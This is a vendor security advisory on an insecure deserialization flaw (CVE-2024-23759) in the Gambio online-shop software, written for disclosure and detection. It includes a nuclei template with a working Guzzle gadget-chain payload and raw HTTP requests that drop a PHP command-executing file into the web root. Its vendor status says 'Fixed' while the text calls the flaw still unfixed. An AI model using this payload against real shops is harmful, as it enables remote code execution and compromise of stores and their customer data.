usd-2023-0046 | Gambio - Insecure Deserialization

Product: Gambio
Affected Version:
Vulnerability Type: CWE 502 - Deserialization of Untrusted Data
Security Risk: Critical
Vendor URL:
Vendor Status: Fixed
CVE Number: CVE-2024-23759



Gambio is software designed for running online shops.
It provides various features and tools to help businesses manage their inventory, process orders, and handle customer interactions.

According to their homepage, the software is used by more than 25.000 shops.

The identified vulnerability within Gambio pertains to an insecure deserialization flaw, which ultimately allows an attacker to execute remote code on affected systems.
Deserialization is a process that restores objects from their serialized form, often used for the exchange of data between different applications or components within a software system.
However, if this process is not adequately implemented or secured, it can be exploited by malicious actors to execute arbitrary code remotely.

Note: Upon discovery, our team immediately initiated the responsible disclosure process by contacting the vendor behind Gambio.
Unfortunately, despite multiple attempts, our attempts to engage the vendor in resolving this issue have been met with silence.
The vulnerability is still unfixed.

The insecure deserialization vulnerability discovered in Gambio poses a significant risk to affected systems.
As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands, potentially resulting in complete system compromise, data exfiltration, or unauthorized access to sensitive information.


Proof of Concept

The "search" parameter of the "Parcelshopfinder/AddAddressBookEntry" function is deserialized.

The file contains the vulnerable function in line 291:

$postnumber = abs(filter_var($postnumber, FILTER_SANITIZE_NUMBER_INT));    
if ($postnumber == 0 || $this->isValidPostnummer($postnumber) !== true) {

$search = unserialize(base64_decode($this->_getPostData('search')));
$psfParams = [
'street' => $search[0],
'house' => $search[1],
'zip' => $search[2],
'city' => $search[3],
'country' => $search[4],
'firstname' => $firstname,
'lastname' => $lastname,
'postnumber' => $postnumber,
'additional_info' => $additional_info,
'error' => 'invalid_postnumber',

The serialized data must be base64 encoded, as shown in line 3 in the snippet above.
The application is using "Guzzle" which can be used as a gadget chain to receive arbitrary code execution by writing arbitrary files.

The following nuclei template was created to check for the vulnerability:

id: gambio-php-object-injection
name: PHP Object injection in Gambio
description: PHP object injection in Gambio. Writes a file into the web root as a proof
tags: gambio,php
author: ChristianPoeschl,LukasSchraven
severity: critical
gambiouser: "{{rand_base(10)}}"
filename: "my_products.php"
payload2: "<?php echo system('whoami');?>"
data: 'O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:36:"{{hex_decode("00")}}GuzzleHttp\Cookie\CookieJar{{hex_decode("00")}}cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:33:"{{hex_decode("00")}}GuzzleHttp\Cookie\SetCookie{{hex_decode("00")}}data";a:9:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:{{len(payload2)}}:"{{payload2}}";s:4:"Path";s:1:"/";s:4:"Name";s:4:"test";s:6:"Domain";s:13:"";s:6:"Secure";b:0;s:8:"Httponly";b:0;s:7:"Max-Age";i:3;}}}s:39:"{{hex_decode("00")}}GuzzleHttp\Cookie\CookieJar{{hex_decode("00")}}strictMode";N;s:41:"{{hex_decode("00")}}GuzzleHttp\Cookie\FileCookieJar{{hex_decode("00")}}filename";s:{{len(filename)}}:"{{filename}}";s:52:"{{hex_decode("00")}}GuzzleHttp\Cookie\FileCookieJar{{hex_decode("00")}}storeSessionCookies";b:1;}'
# create guest user
- raw:
- |
POST /shop.php?do=CreateGuest/Proceed HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
  # attack
  - raw:
    - |
      POST /shop.php?do=Parcelshopfinder/AddAddressBookEntry HTTP/1.1
      Host: {{Hostname}}
      Content-Type: application/x-www-form-urlencoded

- type: dsl
name: php-version-payload-mismatch
- status_code == 500 && !contains(body, "Cannot use object of type GuzzleHttp")
- type: dsl
- status_code == 500 && contains(body, "Cannot use object of type GuzzleHttp")

In the first step, a new guest user is created. This can be done in an automated way, while normal user accounts need to solve a captcha.
The template is creating a new file "my_products.php" containing the current username.


It is recommended to deserialize objects only from trusted sources.

To workaround the vulnerability, Gambio users can disable the functionality the hard way and add a die('disabled') after line 257. Similar to the snippet below:

public function actionAddAddressBookEntry()    {
if (empty($_SESSION['customer_id'])) {
return MainFactory::create('RedirectHttpControllerResponse', xtc_href_link(FILENAME_DEFAULT, '', 'SSL'));

Please pay attention that this may break some functionality, as this workaround was not tested!



  • 2023-12-08: First contact request via email.
  • 2023-12-21: Second contact request via email.
  • 2024-01-19: This advisory is published.


This security vulnerability was identified by Christian Poeschl and Lukas Schraven of usd AG.